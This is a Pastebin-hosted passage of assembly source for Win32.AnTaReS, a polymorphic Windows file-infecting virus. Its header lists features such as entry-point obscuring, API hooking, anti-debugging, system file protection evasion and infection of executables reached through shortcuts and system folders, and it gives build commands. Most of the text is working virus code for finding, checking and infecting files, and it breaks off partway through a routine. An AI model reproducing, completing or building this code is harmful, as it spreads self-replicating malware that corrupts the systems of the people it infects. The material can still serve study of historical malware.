Advertisement
InfectedPacket

Win32.AnTaReS Virus (2007)

Aug 7th, 2015
268
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. ;####################################[Win32.AnTaReS by PiKaS]#####
  2. ;#
  3. ;# Author: PiKaS         @0@0@ @   @ @0@0@ @0@0@ @0@0@ @0@0@ @0@0@
  4. ;#                       0   0 0@  0   0   0   0 0   0 0     0
  5. ;# lordjoker@hotmail.com @0@0@ @ 0 @   @   @0@0@ @0@0@ @0@0@ @0@0@
  6. ;#                       0   0 0  @0   0   0   0 0  @  0         0
  7. ;# Name: Win32.AnTaReS   @   @ @   @   @   @   @ @   @ @0@0@ @0@0@
  8. ;#
  9. ;#################################################################
  10.  
  11. ;#################################################################
  12. ;# AnTaReS / Alpha Sco                      #
  13. ;#  Distance: 604.01 ly                    ###+++++++++++++++
  14. ;#  Abs. Mag: -5.28                       #####
  15. ;#  Luminosity: 11,100xSun               #######+++++++++++++++++
  16. ;#  Class: M1 l-b                         #####
  17. ;#  Radius: 449.59xSun                     ###+++++++++++++++
  18. ;#  Surface temp: 3,720K                    #
  19. ;#################################################################
  20.  
  21. ;#################################################################
  22. ;#
  23. ;# Characteristics:
  24. ;# ----------------
  25. ;# - Target: Portable Exe (PE), SCR, CPL
  26. ;# - Get Apis using CRC32 with SEH protection
  27. ;# - EPO (Patch Masm/Tasm calls randomly)
  28. ;# - PolyMorphic Virus (using [ETMS] by b0z0/iKX)
  29. ;# - Find Targets through Link Files (Current dir and Desktop dir)
  30. ;# - Resident Per-Process (Hooks APIs like CreateFileA, etc...
  31. ;#    and extract a new path for infections)
  32. ;# - Direct Action Virus (Windows, System and Actual Directories)
  33. ;# - Anti-Debugging (Jump if a Debug program is detected...SoftIce)
  34. ;# - CRC32 CheckSum File (Rebuild CRC32 of Infected Files)
  35. ;# - Detect SFC protected files and Installation Kits
  36. ;# - Use Size Padding to avoid reinfections
  37. ;#    (also used with failed infections to scan faster)
  38. ;#
  39. ;# Payload:
  40. ;# --------
  41. ;# - Graphic payload -> If 31th a BioHazard symbol appear on window
  42. ;#
  43. ;# Size: ---> 14156 Bytes (10.2Kb Min. Size - 13.8Kb Max. Size) <---
  44. ;# -----
  45. ;#          [EPO]-->[DECRIPTOR][VIRUS_BODY/VIRUS_DATA]
  46. ;#
  47. ;# To Build this:
  48. ;# --------------
  49. ;# - tasm32 -m7 -ml -q -zn AnTaReS.asm
  50. ;# - tlink32 -Tpe -c -aa -v AnTaReS ,,, import32
  51. ;# - pewrsec AnTaReS.exe
  52. ;#
  53. ;# Author Notes:
  54. ;# -------------
  55. ;# - This Virus is dedicated to all VXers and friends
  56. ;# - Thanks to Dream Theater and Bind Guardian Music
  57. ;# - To Asimov Books (about the Universe, etc...) ;)
  58. ;# - Sorry for my poor English :P
  59. ;#
  60. ;# Disclaimer:
  61. ;# -----------
  62. ;# - This software is for research purposes only
  63. ;# - The author is not responsible for any problems
  64. ;#    caused due to improper or illegal usage of it
  65. ;#     
  66. ;#################################################################
  67.  
  68. ;#################################################################
  69. ;#
  70. ;# Notes:
  71. ;# ------
  72. ;# - Win32.AnTaReS was written to be published in 29A-ezine(9)...
  73. ;#    The ezine was never released and 29A has recently gone
  74. ;#    retired. VirusBuster, GriYo, Wintermute... I will miss you
  75. ;#    Thanks for your work, you are my personal heroes
  76. ;#
  77. ;#################################################################
  78.  
  79. .586p
  80. .model flat,stdcall
  81.  
  82. ;#################################################################
  83. ;# Apis for Host code
  84. ;#################################################################
  85. extrn   ExitProcess:proc
  86. extrn   MessageBoxA:proc
  87.  
  88. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  89. ;#################################################################
  90. ;# General Definitions
  91. ;#################################################################
  92. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  93.  
  94. ;#################################################################
  95. ;# Definitions (Main)
  96. ;#################################################################
  97. @VirusSize      equ     offset @VirusEnd - offset @VirusBegin
  98. @VirusBodySize  equ     offset @VirusEnd - offset @VirusBodyBegin
  99. @DeltaCritical  equ     offset @Critical - offset @VirusBodyBegin
  100.  
  101. ;#################################################################
  102. ;# Definitions (File Handle)
  103. ;#################################################################
  104. OPEN_EXISTING           equ     3       ; Some useful definitions
  105. GENERIC_READ            equ     80000000h
  106. GENERIC_WRITE           equ     40000000h
  107. PAGE_READWRITE          equ     00000004h
  108. FILE_MAP_ALL_ACCESS     equ     000F001Fh
  109.  
  110. ;#################################################################
  111. ;# Definitions (Find Files)
  112. ;#################################################################
  113. MAX_PATH        equ     260             ; The Max Long of Path
  114.  
  115. FILETIME struc                          ; File Time Struct
  116.  FT_dwLowDateTime       dd      ?
  117.  FT_dwHighDateTime      dd      ?
  118. FILETIME ends
  119.  
  120. WIN32_FIND_DATA struc                   ; Find File Struct
  121.  WFD_dwFileAttributes           dd              ?
  122.  WFD_ftCreationTime             FILETIME        ?
  123.  WFD_ftLastAccessTime           FILETIME        ?
  124.  WFD_ftLastWriteTime            FILETIME        ?
  125.  WFD_nFileSizeHigh              dd              ?
  126.  WFD_nFileSizeLow               dd              ?
  127.  WFD_dwReserved0                dd              ?
  128.  WFD_dwReserved1                dd              ?
  129.  WFD_szFileName                 db      MAX_PATH DUP (?)
  130.  WFD_szAlternateFileName        db      13 DUP (?)
  131.                                 db      3 DUP (?)
  132. WIN32_FIND_DATA ends
  133.  
  134. ;#################################################################
  135. ;# Definitions (Find Link Files)
  136. ;#################################################################
  137. HKEY_CURRENT_USER       equ     080000001h
  138. KEY_READ                equ     000000019h
  139.  
  140. ;#################################################################
  141. ;# Definitions (Payload)
  142. ;#################################################################
  143. SM_CXSCREEN     equ     00000000h       ; To get the resolution of screen
  144. SM_CYSCREEN     equ     00000001h
  145. IDI_WARNING     equ     00007F03h       ; A warning Icon
  146. MB_ICONHAND     equ     00000010h       ; A warning Sound
  147.  
  148. SYSTEMTIME struct                       ; Struct to check the actual date
  149.  wYear          dw      ?
  150.  wMonth         dw      ?
  151.  wDayOfWeek     dw      ?
  152.  wDay           dw      ?
  153.  wHour          dw      ?
  154.  wMinute        dw      ?
  155.  wSecond        dw      ?
  156.  wMilliseconds  dw      ?
  157. SYSTEMTIME ends
  158.  
  159. ;#################################################################
  160. ;# Definitions (Virus Core)
  161. ;#################################################################
  162. FILE_ATTRIBUTE_NORMAL   equ     00000080h
  163. GPTR                    equ     00000040h
  164.  
  165. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  166. ;#################################################################
  167. ;# Host Data and Code Sections
  168. ;#################################################################
  169. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  170. .data
  171. Antares db      'PiKaS LaBs 05',0       ; A Message Box text
  172. Text    db      'PiKaS LaBs / Win32.AnTaReS',0
  173.  
  174. .code
  175. HostStart:
  176.     xor     eax,eax                 ; The Host code
  177.     push    eax
  178.     push    offset Antares
  179.     push    offset Text             ; A simple Message Box
  180.     push    eax
  181.     call    @VirusBegin             ; Call to MessageBoxA has been patched ;)
  182.     xor     eax,eax                 ; And finish!
  183.     push    eax
  184.     call    ExitProcess
  185.  
  186. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  187. ;#################################################################
  188. ;# Virus Code (win32.AnTaReS)
  189. ;#################################################################
  190. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  191.  
  192. ;#################################################################
  193. ;# Virus Main Body
  194. ;#  In: No Input
  195. ;#  Out: No Output
  196. ;#################################################################
  197. @VirusBegin:
  198.     pushad                          ; Save the Host registes
  199.     pushfd
  200. @Decryptor:     db      1000h dup (90h) ; Decryptor of virus body
  201. @VirusBodyBegin:
  202.     call    GetDelta                ; Just take the delta offset
  203. ;#################################################################
  204. ;# Set SEH (Exception Handling)
  205. ;#################################################################
  206. SetSeh:
  207.     push    ebp
  208.     call    Set@1                   ; Push in Stack the New Excp Handler
  209.     mov     esp,[esp+08h]           ; If Excp -> Set Stack and go out
  210.     jmp     ResetSeh
  211. Set@1:
  212.     xor     ebx,ebx
  213.     push    dword ptr fs:[ebx]      ; Push in Stack old Excp Handler (Chain)
  214.     mov     fs:[ebx],esp            ; Set new Excp Handler
  215.     call    GetApiAddress           ; Get all apis address from Kernel
  216.     or      eax,eax  
  217.     jz      ResetSeh
  218.     call    GetSeed                 ; Init the random number generator
  219.     call    AntiDebug               ; Check if a debugger is present
  220.     or      eax,eax                 ; Ups! skip and go out
  221.     jz      ResetSeh
  222.     call    FindBody                ; Main search virus body
  223.     call    Payload                 ; Whahaha... a graphic payload
  224. ;#################################################################
  225. ;# Reset SEH (Exception Handling)
  226. ;#################################################################
  227. ResetSeh:
  228.     xor     ebx,ebx
  229.     pop     dword ptr fs:[ebx]      ; Recover old Excp Handler
  230.     pop     ebx
  231.     pop     ebp
  232.     call    PatchVirusEntryPoint    ; Go to Host taking care of relocations
  233.     popfd                           ; Pop host registers
  234.     popad
  235.     push    20202020h               ; And finish! :)
  236. @ReturnHost     equ     $-4
  237.     ret
  238.  
  239. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  240. ;#################################################################
  241. ;# Get Kernel Apis
  242. ;#################################################################
  243. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  244.  
  245. ;#################################################################
  246. ;# Get Kernel Address
  247. ;#  In: eax=AddrCreateProcess
  248. ;#  Out: eax=AddrBaseKernel Error: eax=00h
  249. ;#################################################################
  250. GetKernelAddress proc
  251.     push    ebx ecx edx             ; Save registers
  252.     mov     ecx,05h                 ; Only 5 times
  253.     shr     eax,10h                 ; Sth like AND EAX,0FFFF0000h
  254. GetKernel@1:
  255.     shl     eax,10h
  256.     mov     bx,[eax]                ; Is the Kernel Base Image?
  257.     cmp     bx,'ZM'
  258.     jnz     GetKernel@2
  259.     mov     edx,eax
  260.     add     edx,[eax+3Ch]
  261.     mov     bx,[edx]                ; Is a Portable Exe?
  262.     cmp     bx,'EP'
  263.     jz      GetKernel@3             ; Great!
  264. GetKernel@2:
  265.     shr     eax,10h                 ; Ups! One more time
  266.     dec     eax
  267.     loop    GetKernel@1
  268.     xor     eax,eax                 ; Ups! bad news.. :(
  269. GetKernel@3:
  270.     pop     edx ecx ebx             ; Pop registers
  271.     ret
  272. GetKernelAddress endp
  273.  
  274. ;#################################################################
  275. ;# Get All Api Address
  276. ;#  In: eax=AddrBaseKernel esi->ApisCrc32Struct
  277. ;#  Out: (ApisAddrFull) Error: eax=00h
  278. ;#################################################################
  279. GetAllApiAddress proc
  280.     push    ebx ecx eax             ; Save registers
  281.     mov     ebx,[eax+3Ch]           ; Move to the Kernel Base
  282.     add     eax,ebx
  283.     mov     ebx,[eax+78h]           ; And now the Export Section
  284.     pop     eax
  285.     mov     ecx,eax
  286.     add     eax,ebx
  287.     mov     ebx,[eax+18h]           ; Get the total number of apis
  288.     or      ebx,ebx                 ;  imported by name
  289.     jz      GetAll@6
  290.     mov     [@NumberNames+ebp],ebx
  291.     mov     ebx,[eax+1Ch]
  292.     add     ebx,ecx
  293.     mov     [@AddressTable+ebp],ebx ; Get the Addr of Address Table
  294.     mov     ebx,[eax+24h]
  295.     add     ebx,ecx
  296.     mov     [@OrdinalTable+ebp],ebx ; Get the Addr of Ordinal Table
  297.     mov     ebx,[eax+20h]
  298.     add     ebx,ecx
  299.     mov     [@NameTable+ebp],ebx    ; And get the Addr of Name Table
  300.     push    edx edi esi             ; Save registers
  301.     xor     eax,eax
  302.     mov     edi,esi
  303. SetZero@1:
  304.     cmp     byte ptr[edi],0EEh      ; Is the last in the table?
  305.     jz      SetZero@2
  306.     add     edi,04h
  307.     stosd                           ; Set zero all the Api Struct
  308.     jmp     SetZero@1
  309. SetZero@2:
  310.     xor     edx,edx                 ; Set zero the counter
  311.     mov     esi,ebx                 ; Set esi -> Name Table
  312. GetAll@1:
  313.     lodsd
  314.     add     eax,ecx
  315.     mov     edi,eax                 ; Now edi -> Api Name (in Name Table)
  316.     call    GetStringLong           ; Get the String Long
  317.     mov     esi,edi                 ; Set esi -> Api Name String
  318.     mov     edi,eax                 ; Set edi = Api Name Long
  319.     call    GetStringCrc32          ; And the new Crc32 of the String
  320.     pop     esi
  321.     push    esi                     ; esi -> ApisCrc32Struc
  322.     mov     ebx,eax                 ; Save the Crc32 in ebx
  323.     xor     edi,edi                 ; Counter of Apis left
  324. GetAll@2:
  325.     cmp     byte ptr[esi],0EEh      ; If we finish the ApisCrc32Struc
  326.     jz      GetAll@3                ;  then go out the loop
  327.     lodsd
  328.     sub     eax,ebx                 ; Check if we need the Api
  329.     jz      GetAll@4
  330.     lodsd                           ; If not go on (and Inc the Counter
  331.     or      eax,eax                 ;  of Apis Letft)
  332.     jnz     GetAll@2
  333.     inc     edi
  334.     jmp     GetAll@2
  335. GetAll@4:                               ; Then get the Api Address
  336.     push    ebx                     ; Save registers
  337.     mov     eax,edx
  338.     shl     eax,01h
  339.     add     eax,[@OrdinalTable+ebp] ; Get the Ordinal of Api
  340.     movzx   ebx,word ptr[eax]
  341.     shl     ebx,02h
  342.     add     ebx,[@AddressTable+ebp] ; Get the RVA of Api
  343.     mov     eax,[ebx]
  344.     add     eax,ecx                 ; Add the Kernel Base
  345.     push    edi
  346.     mov     edi,esi
  347.     stosd                           ; Storage the Address in the Struct
  348.     pop     edi ebx                 ; Pop registers
  349.     lodsd
  350.     jmp     GetAll@2
  351. GetAll@3:
  352.     or      edi,edi                 ; Check the Counter of Apis left
  353.     jz      GetAll@5                ; We need no more Apis... finish
  354.     inc     edx                     ; Inc the Name number
  355.     mov     esi,edx
  356.     shl     esi,02h
  357.     add     esi,[@NameTable+ebp]    ; Set again esi and go back
  358.     dec     [@NumberNames+ebp]
  359.     jnz     GetAll@1                ; No more names? ups...
  360.     pop     esi edi edx
  361. GetAll@6:
  362.     xor     eax,eax
  363.     pop     ecx ebx
  364.     ret
  365. GetAll@5:
  366.     xor     eax,eax                 ; No error... all under control
  367.     inc     eax
  368.     pop     esi edi edx ecx ebx     ; Pop registers
  369.     ret
  370. GetAllApiAddress endp
  371.  
  372. ;#################################################################
  373. ;# Get Api Address
  374. ;#  In: @ImageBase
  375. ;#  Out: (eax not zero) Error: eax=00h
  376. ;#################################################################
  377. GetApiAddress proc
  378.     mov     ebx,[@ImageBase+ebp]
  379.     mov     esi,ebx
  380.     add     esi,[ebx+3Ch]           ; Get the Portable Exe header
  381.     add     esi,80h
  382.     lodsd
  383.     or      eax,eax                 ; Test if we have import header
  384.     jz      GetImport@1
  385.     add     eax,ebx
  386.     mov     ecx,eax                 ; Well, take a look at the import module
  387. GetImport@2:
  388.     mov     esi,[ecx+0Ch]
  389.     or      esi,esi                 ; If the last go out
  390.     jz      GetImport@1
  391.     add     esi,ebx
  392.     lodsd
  393.     or      eax,20202020h           ; Make the string low case
  394.     cmp     eax,'nrek'
  395.     jnz     GetImport@3
  396.     lodsd
  397.     or      eax,20202020h
  398.     cmp     eax,'23le'              ; It's the kernel import module?
  399.     jz      GetImport@4
  400. GetImport@3:
  401.     add     ecx,14h                 ; Nop, try another one
  402.     jmp     GetImport@2
  403. GetImport@4:
  404.     mov     esi,[ecx+10h]           ; Fine! get some apis address
  405.     or      esi,esi
  406.     jz      GetImport@1
  407.     add     esi,ebx
  408.     lea     edi,[@ApisCrc32+ebp]
  409. GetImport@5:
  410.     lodsd                           ; Load the first one
  411.     or      eax,eax
  412.     jz      GetImport@1             ; Is it the last? well...
  413.     call    GetKernelAddress        ; Get the library base of imported api
  414.     or      eax,eax
  415.     jz      GetImport@5             ; Error?... try with other one
  416.     mov     [@KernelBase+ebp],eax
  417.     xchg    esi,edi
  418.     call    GetAllApiAddress        ; Save the base and try to get all the apis
  419.     or      eax,eax                 ; Error?... try with other one
  420.     jnz     GetImport@6             ; Great! we got them... go out :D
  421.     xchg    esi,edi
  422.     jmp     GetImport@5
  423. GetImport@1:
  424.     xor     eax,eax                 ; Ups, this is critical... bad luck
  425.     ret
  426. GetImport@6:
  427.     xor     eax,eax
  428.     inc     eax                     ; well done... we have the correct address
  429.     ret
  430. GetApiAddress endp
  431.  
  432. ;#################################################################
  433. ;# Get String Long
  434. ;#  In: edi->String
  435. ;#  Out: eax=StringLong
  436. ;#################################################################
  437. GetStringLong proc
  438.     push    edi                     ; Save edi
  439.     xor     al,al
  440.     scasb                           ; Scan String till null char
  441.     jnz     $-1
  442.     mov     eax,edi
  443.     pop     edi
  444.     sub     eax,edi                 ; Get the String Long
  445.     ret
  446. GetStringLong endp
  447.  
  448. ;#################################################################
  449. ;# Get String Crc32
  450. ;#  In: esi->String edi=StringLong
  451. ;#  Out: eax=Crc32String
  452. ;#################################################################
  453. GetStringCrc32 proc
  454.     push    ebx ecx edx             ; Save registers
  455.     cld
  456.     xor     ecx,ecx                 ; Set ecx=0FFFFFFFFh
  457.     dec     ecx
  458.     mov     edx,ecx
  459. GetCrc@1:                               ; Now the next Byte Crc32
  460.     xor     eax,eax                 ; Set eax and ebx zero
  461.     xor     ebx,ebx
  462.     lodsb                           ; Get one byte of String
  463.     xor     al,cl
  464.     mov     cl,ch
  465.     mov     ch,dl
  466.     mov     dl,dh
  467.     mov     dh,08h
  468. GetCrc@2:                               ; Next Bit Crc32
  469.     shr     bx,01h
  470.     rcr     ax,01h
  471.     jnc     GetCrc@3
  472.     xor     ax,08320h
  473.     xor     bx,0EDB8h
  474. GetCrc@3:                               ; Finish... no Crc32
  475.     dec     dh
  476.     jnz     GetCrc@2
  477.     xor     ecx,eax
  478.     xor     edx,ebx
  479.     dec     edi                     ; One byte less
  480.     jnz     GetCrc@1
  481.     not     edx
  482.     not     ecx
  483.     mov     eax,edx
  484.     rol     eax,10h                 ; We got in eax the Crc32 of Api Name
  485.     mov     ax,cx
  486.     pop     edx ecx ebx             ; Pop registers
  487.     ret
  488. GetStringCrc32 endp
  489.  
  490. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  491. ;#################################################################
  492. ;# Find New Files
  493. ;#################################################################
  494. ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  495.  
  496. ;#################################################################
  497. ;# Find Body
  498. ;#  In: No Input
  499. ;#  Out: No Output
  500. ;#################################################################
  501. FindBody proc
  502.     call    LoadSfcLibrary          ; Check if Sfc is present and load it
  503.     mov     edi,05h                 ; Number of Infections
  504.     call    FindDirectAction        ; Call to Direct Action part
  505.     lea     edi,[@Advapi32N+ebp]
  506.     lea     esi,[@Advapi32+ebp]
  507.     call    LoadNewLibrary          ; Load a Library we need
  508.     or      eax,eax
  509.     jz      FindBody@1              ; If not posible... go out
  510.     mov     edi,05h                 ; Number of Infections
  511.     call    FindLinkFiles           ; Call to Linked Files part
  512.     lea     edi,[@Advapi32N+ebp]
  513.     call    FreeNewLibrary          ; Free Library after use
  514. FindBody@1:
  515.     lea     esi,[@ApisCrc32Hooks+ebp]
  516.     lea     edi,[@OffsetsHookStruct+ebp]
  517.     call    SetAllHooks             ; Set the PerProcess part
  518.     mov     eax,[@SfcIsFileProtected+ebp]
  519.     or      eax,eax
  520.     jz      FindBody@2
  521.     lea     edi,[@SfcN+ebp]         ; Free the Sfc library
  522.     call    FreeNewLibrary
  523. FindBody@2:
  524.     ret
  525. FindBody endp
  526.  
  527. ;#################################################################
  528. ;# Find Direct Action
  529. ;#  In: edi=Number of Files per Directory
  530. ;#  Out: No output
  531. ;#################################################################
  532. FindDirectAction proc
  533.     pushad                          ; Save all registers
  534.     call    FindDirectory           ; Find and Infect files in actual dir
  535.     lea     esi,[@PathOne+ebp]
  536.     push    esi
  537.     push    MAX_PATH                ; Get the current directory
  538.     call    [@GetCurrentDirectoryA+ebp]
  539.     or      eax,eax
  540.     jz      FindAction@1
  541.     push    MAX_PATH
  542.     lea     esi,[@PathTwo+ebp]
  543.     push    esi                     ; Get the Windows directory
  544.     call    [@GetWindowsDirectoryA+ebp]
  545.     or      eax,eax
  546.     jz      FindAction@2
  547.     lea     esi,[@PathTwo+ebp]
  548.     push    esi                     ; Jump to Windows directory
  549.     call    [@SetCurrentDirectoryA+ebp]
  550.     or      eax,eax
  551.     jz      FindAction@2
  552.     call    FindDirectory           ; Find and Infect files in Windows dir
  553. FindAction@2:
  554.     push    MAX_PATH
  555.     lea     esi,[@PathTwo+ebp]
  556.     push    esi                     ; Get the System directory
  557.     call    [@GetSystemDirectoryA+ebp]
  558.     or      eax,eax
  559.     jz      FindAction@3
  560.     lea     esi,[@PathTwo+ebp]
  561.     push    esi                     ; Jump to System directory
  562.     call    [@SetCurrentDirectoryA+ebp]
  563.     or      eax,eax
  564.     jz      FindAction@3
  565.     call    FindDirectory           ; Find and Infect files in System dir
  566. FindAction@3:
  567.     lea     esi,[@PathOne+ebp]
  568.     push    esi                     ; Jump to the initial directory
  569.     call    [@SetCurrentDirectoryA+ebp]
  570. FindAction@1:
  571.     popad                           ; Pop all registers
  572.     ret
  573. FindDirectAction endp
  574.  
  575. ;#################################################################
  576. ;# Find Directory
  577. ;#  In: edi=Number of Files per Directory
  578. ;#  Out: No output
  579. ;#################################################################
  580. FindDirectory proc
  581.     push    edi                     ; Save edi register
  582.     lea     esi,[@FindData+ebp]     ; Load Find Data Struct
  583.     push    esi
  584.     lea     esi,[@FindMask+ebp]     ; Looking for all type files (*.*)
  585.     push    esi
  586.     call    [@FindFirstFileA+ebp]   ; Call to FindFirstFileA Api
  587.     inc     eax
  588.     jz      FindDir@1               ; If no files go out... :(
  589.     dec     eax
  590.     mov     [@FindHandle+ebp],eax   ; Save the Find Handle
  591. FindDir@4:
  592.     call    CheckExtension          ; Check if file is EXE DLL SCR or CPL
  593.     or      eax,eax
  594.     jz      FindDir@2
  595.     call    IsFileOk                ; Check if the file is infected etc...
  596.     or      eax,eax
  597.     jz      FindDir@2
  598.     call    InfectFile              ; Infect the file
  599.     or      eax,eax
  600.     jz      FindDir@2
  601.     dec     edi                     ; One file less
  602.     jz      FindDir@3
  603. FindDir@2:
  604.     lea     esi,[@FindData+ebp]     ; Reload the Find Data Struct
  605.     push    esi
  606.     mov     eax,[@FindHandle+ebp]   ; The Find Handle
  607.     push    eax
  608.     call    [@FindNextFileA+ebp]    ; Find more files in directory
  609.     or      eax,eax
  610.     jnz     FindDir@4
  611. FindDir@3:
  612.     mov     eax,[@FindHandle+ebp]   ; No more files, close the Find Handle
  613.     push    eax
  614.     call    [@FindClose+ebp]
  615. FindDir@1:
  616.     pop     edi                     ; Pop edi again (is a counter)
  617.     ret
  618. FindDirectory endp
  619.  
  620. ;#################################################################
  621. ;# Check Extension
  622. ;#  In: @FindData
  623. ;#  Out: (eax not zero) Error: eax=00h
  624. ;#################################################################
  625. CheckExtension proc
  626.     push    edi                     ; Save edi register
  627.     lea     edi,[@FindData.WFD_szFileName+ebp]
  628.     call    GetStringLong           ; Get the String Long
  629.     cmp     eax,05h                 ; If String too short skip and go
  630.     jna     CheckExt@1
  631.     mov     esi,edi
  632.     add     esi,eax
  633.     sub     esi,05h                 ; Get the last 4 bytes of string
  634.     lodsd
  635.     mov     ecx,04h
  636. CheckExt@3:                             ; Make it Upper Case
  637.     cmp     al,'a'
  638.     jb      CheckExt@2
  639.     cmp     al,'z'
  640.     ja      CheckExt@2
  641.     add     al,'A'-'a'
  642. CheckExt@2:
  643.     ror     eax,08h                 ; Next byte
  644.     loop    CheckExt@3
  645.     cmp     eax,'EXE.'              ; Is an EXE file?
  646.     jz      CheckExt@4
  647.     cmp     eax,'LPC.'              ; Is a CPL file?
  648.     jz      CheckExt@4
  649.     cmp     eax,'RCS.'              ; Is a SCR file?
  650.     jz      CheckExt@4
  651. CheckExt@1:                             ; If not... just make eax zero
  652.     xor     eax,eax
  653. CheckExt@4:
  654.     pop     edi                     ; Fine! go back
  655.     ret
  656. CheckExtension endp
  657.  
  658. ;#################################################################
  659. ;# Find Link Files
  660. ;#  In: edi=Number of Files per Directory
  661. ;#  Out: No output
  662. ;#################################################################
  663. FindLinkFiles proc
  664.     pushad
  665.     call    FindLink                ; Find Link files in current dir
  666.     lea     esi,[@PathOne+ebp]
  667.     push    esi
  668.     push    MAX_PATH                ; Get Current directory
  669.     call    [@GetCurrentDirectoryA+ebp]
  670.     or      eax,eax
  671.     jz      FindLink@1
  672.     lea     esi,[@PathTwo+ebp]
  673.     call    GetDesktopDirectory     ; Get Desktop directory
  674.     or      eax,eax                 ; Error... skip action
  675.     jz      FindLink@1
  676.     lea     esi,[@PathTwo+ebp]
  677.     push    esi
  678.     call    [@SetCurrentDirectoryA+ebp]
  679.     or      eax,eax                 ; Jump to the Desktop dir
  680.     jz      FindLink@1
  681.     call    FindLink                ; Find Link files in Desktop dir
  682.     lea     esi,[@PathOne+ebp]
  683.     push    esi                     ; Go back to current dir
  684.     call    [@SetCurrentDirectoryA+ebp]
  685. FindLink@1:
  686.     popad
  687.     ret
  688. FindLinkFiles endp
  689.  
  690. ;#################################################################
  691. ;# Get Desktop Directory
  692. ;#  In: esi->Buffer for Desktop Directory
  693. ;#  Out: Get the Desktop in Buffer Error: eax=00h
  694. ;#################################################################
  695. GetDesktopDirectory proc
  696.     push    edi
  697.     xor     eax,eax
  698.     lea     edi,[@RegHandle+ebp]    ; Handle of Register we want check
  699.     push    edi
  700.     push    KEY_READ                ; Only read a value
  701.     push    eax
  702.     lea     edi,[@SubKey+ebp]       ; The Subkey we're looking for
  703.     push    edi
  704.     push    HKEY_CURRENT_USER       ; Yes... in this register place
  705.     call    [@RegOpenKeyExA+ebp]    ; Open the key
  706.     or      eax,eax
  707.     jnz     GetDesktop@1
  708.     lea     edi,[@RegSize+ebp]      ; Push the buffer size
  709.     push    edi
  710.     push    esi
  711.     lea     edi,[@RegType+ebp]      ; The text is REG_SZ
  712.     push    edi
  713.     push    eax
  714.     lea     edi,[@RegName+ebp]      ; We want the Desktop value
  715.     push    edi
  716.     mov     eax,[@RegHandle+ebp]    ; This is the Handle before
  717.     push    eax
  718.     call    [@RegQueryValueExA+ebp] ; Query the register value
  719.     or      eax,eax
  720.     jnz     GetDesktop@2
  721.     mov     edi,esi
  722.     call    GetStringLong           ; Check if the path is valid
  723.     dec     eax
  724.     jz      GetDesktop@2
  725.     inc     eax
  726.     add     esi,eax
  727.     sub     esi,02h
  728.     lodsb
  729.     cmp     al,'\'                  ; If not valid put \ after asciiz
  730.     jz      GetDesktop@3
  731.     mov     edi,esi
  732.     mov     ax,'\'
  733.     stosd
  734. GetDesktop@3:
  735.     mov     eax,[@RegHandle+ebp]    ; Close the opened register
  736.     push    eax
  737.     call    [@RegCloseKey+ebp]
  738.     or      eax,eax
  739.     jnz     GetDesktop@1
  740.     inc     eax
  741.     pop     edi                     ; Output: eax not zero
  742.     ret
  743. GetDesktop@2:
  744.     mov     eax,[@RegHandle+ebp]
  745.     push    eax
  746.     call    [@RegCloseKey+ebp]
  747. GetDesktop@1:
  748.     xor     eax,eax                 ; Output: eax zero (error)
  749.     pop     edi
  750.     ret
  751. GetDesktopDirectory endp
  752.  
  753. ;#################################################################
  754. ;# Find Link
  755. ;#  In: edi=Number of Files per Directory
  756. ;#  Out: No output
  757. ;#################################################################
  758. FindLink proc
  759.     push    edi                     ; Save edi register
  760.     lea     esi,[@FindData+ebp]     ; Load Find Data Struct
  761.     push    esi
  762.     lea     esi,[@FindLink+ebp]     ; Looking for link files (*.LNK)
  763.     push    esi
  764.     call    [@FindFirstFileA+ebp]   ; Call to FindFirstFileA Api
  765.     inc     eax
  766.     jz      FindLinkFile@1          ; If no files go out... :(
  767.     dec     eax
  768.     mov     [@FindHandle+ebp],eax   ; Save the Find Handle
  769. FindLinkFile@4:
  770.     call    ExtractLink             ; Extract the Linked file target
  771.     call    CheckExtension          ; Check if file is EXE DLL SCR or CPL
  772.     or      eax,eax                 ; If not go on with other files
  773.     jz      FindLinkFile@2
  774.     call    IsFileOk                ; Check if the file is infected etc...
  775.     or      eax,eax
  776.     jz      FindLinkFile@2
  777.     call    InfectFile              ; Infect the file
  778.     or      eax,eax
  779.     jz      FindLinkFile@2
  780.     dec     edi                     ; One file less
  781.     jz      FindLinkFile@3
  782. FindLinkFile@2:
  783.     lea     esi,[@FindData+ebp]     ; Reload the Find Data Struct
  784.     push    esi
  785.     mov     eax,[@FindHandle+ebp]   ; The Find Handle
  786.     push    eax
  787.     call    [@FindNextFileA+ebp]    ; Find more files in directory
  788.     or      eax,eax
  789.     jnz     FindLinkFile@4
  790. FindLinkFile@3:
  791.     mov     eax,[@FindHandle+ebp]   ; No more files, close the Find Handle
  792.     push    eax
  793.     call    [@FindClose+ebp]
  794. FindLinkFile@1:
  795.     pop     edi                     ; Pop edi again (is a counter)
  796.     ret
  797. FindLink endp
  798.  
  799. ;#################################################################
  800. ;# Extract Link
  801. ;#  In: edi=Number of Files per Directory
  802. ;#  Out: No output
  803. ;#################################################################
  804. ExtractLink proc
  805.     push    edi ecx
  806.     lea     esi,[@FindData.WFD_szFileName+ebp]
  807.     call    CreateFile              ; Open the Link file
  808.     inc     eax
  809.     jz      Extract@1               ; If error go out
  810.     dec     eax
  811.     mov     [@OpenHandle+ebp],eax   ; Push some values and create a map
